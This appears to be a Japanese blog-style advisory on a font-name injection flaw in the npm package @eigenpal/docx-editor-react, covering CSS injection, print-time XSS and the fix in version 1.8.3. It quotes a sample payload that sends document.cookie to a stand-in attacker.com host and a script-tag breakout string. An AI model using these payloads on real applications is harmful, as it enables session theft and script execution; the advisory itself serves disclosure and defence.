はじめに：あなたのアプリケーションは大丈夫ですか？

日々の開発で様々なnpmパッケージを利用している日本のフロントエンドエンジニアの皆さん、こんにちは。今回は、ドキュメント表示・編集ライブラリとして利用されることがある「@eigenpal/docx-editor-react」に発見された、非常に深刻な脆弱性（GHSA-x7m8-jrm8-hpvx）について解説します。

この脆弱性は、ユーザーが悪意のある`.docx`ファイルを開くだけで、画面の見た目が改ざんされたり、個人情報が窃取されたり、最悪の場合、あなたのアプリケーションのオリジン（ドメイン）上で攻撃者のJavaScriptが実行されてしまう可能性があります。決して他人事ではありません。フロントエンド開発に携わる私たちにとって、この種の脆弱性への理解と対策は必須です。

脆弱性の概要と、なぜ危険なのか？

今回見つかった脆弱性は、簡単に言えば「ライブラリがドキュメント内のフォント名を適切に処理しなかった」ことに起因します。具体的には、悪意のあるフォント名を埋め込んだdocxファイルを開くと、以下の二つの主要な攻撃手法につながります。

1. **CSSインジェクション**: 悪意のあるCSSコードがウェブページ全体に注入され、画面の見た目が改ざんされます。

2. **印刷時XSS (クロスサイトスクリプティング)**: ユーザーが印刷操作を行うと、アプリケーションと同じオリジンで攻撃者のJavaScriptが実行されます。

これらの攻撃により、フィッシング詐欺への誘導、フォームからの情報窃取、ユーザーの追跡、セッション情報の窃取、さらには不正な操作といった、多岐にわたる被害が想定されます。

技術的な詳細：フォント名が引き起こす深刻なリスク

この脆弱性の根本原因は、`@eigenpal/docx-editor-react`ライブラリが、docxファイル内のフォント情報（`word/fontTable.xml`に定義）を処理する際に、フォント名を適切にエスケープしなかった点にあります。

具体的には、細工されたフォント名がそのままHTMLページ内の`<style>`タグで定義される`@font-face`ルールや、印刷ウィンドウのコンテンツを生成する`document.write()`関数に挿入されていました。これにより、攻撃者はフォント名としてCSSやJavaScriptの特殊文字を埋め込むことが可能になります。

攻撃者は、例えばフォント名に `'); /*攻撃用CSS*/ body{ background: url('https://attacker.com/log?c='+document.cookie); } ` のようなコードを埋め込みます。これにより、本来フォント名が記述されるべき箇所がCSSの定義を中断し、その後に続く悪意のあるCSSコードがウェブページに適用されてしまいます。

これにより、ユーザーインターフェースの改ざん（例: 偽のログインフォームの表示）、ユーザーの行動追跡（例: 画像のURLにクッキー情報を埋め込んで送信）、機密情報の窃取（例: CSSセレクタを利用して特定の要素の内容を外部に送信）といった攻撃が可能になります。ユーザーはただ悪意のあるdocxファイルを開くだけで、これらの被害に遭う可能性があります。

さらに深刻なのが印刷時XSSです。ライブラリは、印刷用のコンテンツを生成する際に`document.write()`を使っていました。この`document.write()`にエスケープされていないフォント名が渡されることで、攻撃者は`</style><script>alert('XSS!');</script>`のような悪意のあるJavaScriptコードをフォント名として埋め込むことができました。

ユーザーが「印刷」ボタンをクリックすると、このJavaScriptコードがアプリケーションと同じオリジンで実行されます。これにより、セッションクッキーの窃取、ユーザーの個人情報の取得、不正なリクエストの送信、さらにはDOMの改ざんによる画面の完全な掌握など、非常に広範で深刻な被害が発生する可能性があります。

いますぐできる対策：バージョン1.8.3へのアップデート

この脆弱性への対応策は明確です。お使いの`@eigenpal/docx-editor-react`ライブラリを**バージョン1.8.3**へ速やかにアップグレードしてください。

バージョン1.8.3では、以下の修正が施されています。

1. フォント名がスタイルシートに挿入される前に、引用符、バックスラッシュ、`< >`などの特殊文字やCSS改行が適切にCSSエスケープされるようになりました。これにより、CSSインジェクションのリスクが排除されます。

2. 印刷ウィンドウのコンテンツ生成において、危険な`document.write()`の使用が廃止され、より安全なDOM API（`document.createElement`など）を用いてコンテンツが組み立てられるようになりました。これにより、印刷時XSSのリスクが大幅に軽減されます。

npmを使っている場合は、以下のコマンドでアップデートできます。

`npm install @eigenpal/docx-editor-react@latest`

または、パッケージマネージャーの設定ファイル（`package.json`など）を更新し、`npm update`または`yarn upgrade`を実行してください。

まとめ：常にセキュリティ意識を持って開発を

今回の`docx-editor-react`の脆弱性は、一見するとファイルの内容表示に関わる部分のバグのように見えますが、その根底には「ユーザーからの入力（この場合はdocxファイル内のフォント名）を適切にサニタイズせずにDOMに展開する」という、ウェブアプリケーションセキュリティの基本的な原則が破られていた点があります。

フロントエンドエンジニアは、たとえライブラリ内部の挙動であっても、ユーザーから受け取るデータがどのように処理され、どこに表示されるのかを常に意識し、XSSやCSSインジェクションなどの脆弱性が混入しないよう、セキュリティに対する高い意識を持って開発に取り組む必要があります。そして、利用しているライブラリのセキュリティ情報を常にチェックし、迅速なアップデートを行うことが、私たち自身のアプリケーションとユーザーを守る上で不可欠です。

もしあなたのプロジェクトで`@eigenpal/docx-editor-react`を使用している場合は、この記事を読んだ後、すぐにバージョンを確認し、アップデートを検討してください。